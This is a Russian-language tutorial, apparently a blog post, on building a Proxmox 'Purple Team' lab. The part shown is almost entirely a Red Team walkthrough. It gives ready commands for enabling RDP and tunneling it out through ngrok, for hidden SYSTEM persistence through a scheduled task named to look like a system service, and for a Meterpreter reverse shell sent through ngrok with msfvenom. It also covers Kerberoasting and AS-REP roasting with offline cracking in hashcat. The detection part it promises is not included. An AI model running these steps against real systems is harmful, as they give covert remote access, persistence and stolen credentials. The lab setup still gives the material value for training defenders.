В первой части нашего цикла мы детально разобрали боевое применение ngrok для обхода средств защиты периметра (NGFW) и организации скрытых RDP-туннелей к скомпрометированным хостам. Мы выяснили, как легитимные утилиты ломают классические парадигмы защиты и позволяют атакующим получить интерактивный графический доступ в изолированные сегменты сети.
Однако теория и разобранные кейсы мертвы без практического закрепления. Чтобы научиться выявлять (Detect) и предотвращать (Mitigate) подобные векторы атак, команде информационной безопасности (как Red, так и Blue Team) необходим контролируемый полигон — Purple Team Lab.
В этом руководстве мы с нуля спроектируем виртуальную инфраструктуру, воссоздадим сценарий компрометации (Post-Exploitation), проведем эскалацию привилегий в Active Directory через проброшенный RDP-туннель и, что самое главное, внедрим технические средства обнаружения (Sysmon, Suricata) для блокировки kill chain на каждом этапе.
Этап 1: Архитектура полигона и базовая инфраструктура (Proxmox VE)
Наша лаборатория будет базироваться на гипервизоре Proxmox (Debian-based), что позволяет гибко управлять сетевыми мостами и маршрутизацией.
Топология сети:
- Attacker / C2 (Kali Linux): Внешний узел, имитирующий инфраструктуру злоумышленника.
- Compromised Host (Windows Server 2022): Точка первоначального проникновения (Foothold).
- Domain Controller (Windows Server 2022): Контроллер домена lab.local, цель атаки.
- OPNsense / Suricata (опционально): Корпоративный шлюз для анализа трафика.
Для имитации нахождения Windows-машин за корпоративным NAT (изоляция от прямых входящих подключений извне, но с доступом в интернет для работы ngrok), настроим сетевой мост с маскарадингом на хосте Proxmox.
# Конфигурация /etc/network/interfaces на сервере Proxmox
auto vmbr0
iface vmbr0 inet static
address 192.168.100.1/24
bridge-ports none
bridge-stp off
bridge-fd 0
# Включаем форвардинг пакетов
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
# Настраиваем NAT (замените eno1 на ваш физический интерфейс)
post-up iptables -t nat -A POSTROUTING -s '192.168.100.0/24' -o eno1 -j MASQUERADE
post-down iptables -t nat -D POSTROUTING -s '192.168.100.0/24' -o eno1 -j MASQUERADE
После перезагрузки сети создаем виртуальные машины, подключаем их к интерфейсу vmbr0 и задаем статические IP-адреса:
- Kali Linux (C2): 192.168.100.20
- Windows Server (Victim): 192.168.100.10
- Windows Server (DC): 192.168.100.11
Этап 2: Red Team Operations — Foothold, Туннелирование и Persistence
Представим, что мы уже получили начальный доступ (Initial Access) к 192.168.100.10 через уязвимость в веб-сервисе или фишинг, и у нас есть консольный доступ от имени локального администратора.
2.1. Подготовка плацдарма и запуск туннеля
Первым делом мы включаем RDP на жертве и настраиваем локальный брандмауэр.
# Активация Remote Desktop Protocol через изменение реестра
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
# Разрешение входящих подключений RDP в брандмауэре Windows
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
# Проверка локального порта
Test-NetConnection -ComputerName localhost -Port 3389
Далее загружаем бинарный файл ngrok. Для симуляции мы скачиваем его напрямую, минуя возможные внутренние репозитории.
# Загрузка и распаковка утилиты ngrok
Invoke-WebRequest -Uri "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip" -OutFile "$env:TEMP\ngrok.zip"
Expand-Archive "$env:TEMP\ngrok.zip" -DestinationPath "C:\ngrok" -Force
Set-Location "C:\ngrok"
# Аутентификация с использованием токена атакующего
.\ngrok.exe config add-authtoken <ВАШ_ТОКЕН>
Организуем скрытое закрепление (Persistence) с помощью планировщика задач (Task Scheduler). Запуск будет производиться от имени SYSTEM при каждом старте ОС в скрытом режиме окон.
# Создание скрытой задачи для проброса порта 3389
$Action = New-ScheduledTaskAction -Execute "C:\ngrok\ngrok.exe" -Argument "tcp 3389"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SvcHostTunnel_RDP" -Action $Action -Trigger $Trigger -User "NT AUTHORITY\SYSTEM" -RunLevel Highest -Force
# Ручной старт задачи для текущей сессии
Start-ScheduledTask -TaskName "SvcHostTunnel_RDP"
2.2. Эксплуатация туннеля со стороны C2 (Kali)
В веб-интерфейсе ngrok (или через локальный API http://localhost:4040/api/tunnels на жертве) мы видим выделенный нам эндпоинт, например: tcp://4.tcp.ngrok.io:12345.
Переключаемся на Kali Linux. Теперь нам не нужно пробивать корпоративный NAT — мы подключаемся к облаку ngrok.
# Установка клиентов для RDP-подключения
sudo apt update && sudo apt install -y remmina remmina-plugin-rdp freerdp2-x11
# Подключение к проброшенному RDP (используем xfreerdp для работы из консоли)
xfreerdp /v:4.tcp.ngrok.io:12345 /u:Administrator /p:Password123 /dynamic-resolution
Мы получили графический интерфейс скомпрометированного сервера.
2.3. Интеграция с Metasploit Framework (MITRE T1572: Protocol Tunneling)
Для автоматизации последующих атак нам нужен стабильный Reverse Shell. Мы пробросим еще один туннель для доставки нагрузки MSF.
На Windows машине через полученный RDP запускаем:
.\ngrok.exe tcp 4444
Пусть этот туннель получил адрес 8.tcp.ngrok.io:54321.
Настраиваем слушатель (Listener) на Kali Linux:
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# Указываем LHOST как 0.0.0.0, так как мы слушаем туннель, входящий с серверов ngrok
set LHOST 0.0.0.0
set LPORT 4444
exploit -j
Генерируем payload на Kali, где целевым IP указываем облачный адрес ngrok:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=8.tcp.ngrok.io LPORT=54321 -f exe -o beacon.exe
Доставляем beacon.exe на Windows VM и запускаем. Meterpreter-сессия успешно маршрутизируется через облако ngrok прямо в нашу консоль MSF.
Этап 3: Active Directory — Эскалация привилегий и Lateral Movement
Имея foothold и RDP-туннель, мы приступаем к атакам на инфраструктуру lab.local.
3.1. Разведка и атаки на идентификацию (Identity Attacks)
Kerberoasting (T1558.003):
Цель — получить хеши билетов TGS для сервисных учетных записей (имеющих SPN). Прямо из PowerShell в RDP-сессии:
# Поиск пользователей с установленными SPN
Get-ADUser -Filter * -Properties ServicePrincipalName | Where-Object {$_.ServicePrincipalName -ne $null} | Select-Object Name, ServicePrincipalName
Собрав TGS билеты (например, с помощью Invoke-Kerberoast из PowerSploit), мы копируем хеши через буфер обмена RDP на Kali Linux и запускаем оффлайн-брутфорс:
hashcat -m 13100 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt -O
AS-REP Roasting (T1558.004):
Поиск пользователей, у которых отключена предварительная аутентификация Kerberos.
# Поиск уязвимых аккаунтов (флаг DONT_REQ_PREAUTH = 4194304)
Get-ADUser -Filter 'userAccountControl -band 4194304' -Properties userAccountControl
Аналогично, запрашиваем AS-REP ответы (через Rubeus) и взламываем их на Kali (hashcat -m 18200).
Продолжение на сайте redsec.by >>>